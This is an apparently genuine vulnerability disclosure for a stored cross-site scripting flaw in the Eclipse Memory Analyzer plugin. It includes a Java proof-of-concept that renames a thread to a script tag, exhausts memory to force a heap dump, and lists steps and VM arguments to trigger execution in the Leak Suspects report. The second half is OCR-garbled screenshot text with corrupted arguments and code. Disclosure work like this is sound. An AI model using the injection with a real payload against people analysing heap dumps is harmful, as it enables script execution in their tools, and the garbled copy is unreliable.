XSS in Memory Analyzer plugin for Eclipse

Product description:

When a Java application hits the limit of the dedicated memory a Heap dump is generated
in order to provide the developers a way to find the root cause of the Out of memory
exception. There is a plugin for Eclipse who is useful for reading the generated Heap Dump
https://wiki.eclipse.org/MemoryAnalyzer

Issue description:

The Memory Analyzer parses the Heap Dump and generates several files. One of the
generated html files shows generated data and along with that the name of the Thread in
which the error have occurred. However, if an attacker programmatically changes the name
of the current thread (look at the code below) to some script it will be executed when
rendered in Eclipse.

Steps to reproduce:

1) Create a malicious app that generates an Out of memory exception and changes the
name of the current thread to a malicious script.

package com.sap;

import java.util.ArrayList;
import java.util.List;

public class ExhaustMemory {

private void setThreadName() {
Thread.currentThread().setName("<script>alert(1)</script>");

}

public static void main(String[] args) {
List<String> list = new ArrayList<String>();
ExhaustMemory mem = new ExhaustMemory();
mem.setThreadName();
while (true){

list.add("Will reach out of memory soon...");

}

}



2) Configure the VM arguments to instruct the VM to produce a Heap Dump and set
the available memory a low number in order to speed up the Out of memory
exception (Xms and Xmx are optional to be set. It is just faster setting them.)

-XX:+HeapDumpOnOutOfMemoryError
-XmsiM
-Xmx2M

Name: OutOfMemory
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Program arguments:

Variables...
VM arguments:
-XX:+HeapDumpOnOutOfMemoryError
-Xms1M
-XmXZM
Variables...

3) Run the above Java application with that configuration

Out of memory error was thrown.

[7] ExhaustMemory.java $3
1 package com.sap;

2
3® import java.util.Arraylist;[]

5

6 public class ExhaustMemory {

@

8 private void setThreadName() {

9 Thread. currentThread() .setName("<script>alert(1)</script>");

12 public static void main(String[] args) {

13 List<String> list = new ArraylList<String>(Q);

14 ExhaustMemory mem = new ExhaustMemory();

15 mem.setThreadName();

16 while (true){

17 list.add("Will reach out of memory soon...");

18 }

19 }

20

21 }

22
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4) Open the generated Heap Dump file (.hprof) with Eclipse
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5) Select “Leak Suspects Report” option in the wizard
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6) When rendered the malicious code is executed in the Memory Analyzer perspective

in Eclipse
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The malicious code is executed not only on the first rendered page but on every page where

the Thread name is shown like this one:

03- 09 8 @®- 8 Q&

(=0 © e B 92 @ & 45 pyoev €
(2L inspector 32 =0 (@ 8 javas 2 = [
i % e B8 Q @z
i Overview |3 default I &
=]

Leak Suspects » Leaks » Problem Suspect 1

~ Description

[Statics) Attributes | Class Hierarchy | value -8
Type  Name Value

| The thread java.lang.Thread @ 0x7bff86508

-

Javascript

Updates Available x

Updates are available for your software.
Click to review and nstall updates.

Set up Reminder options

oaga B



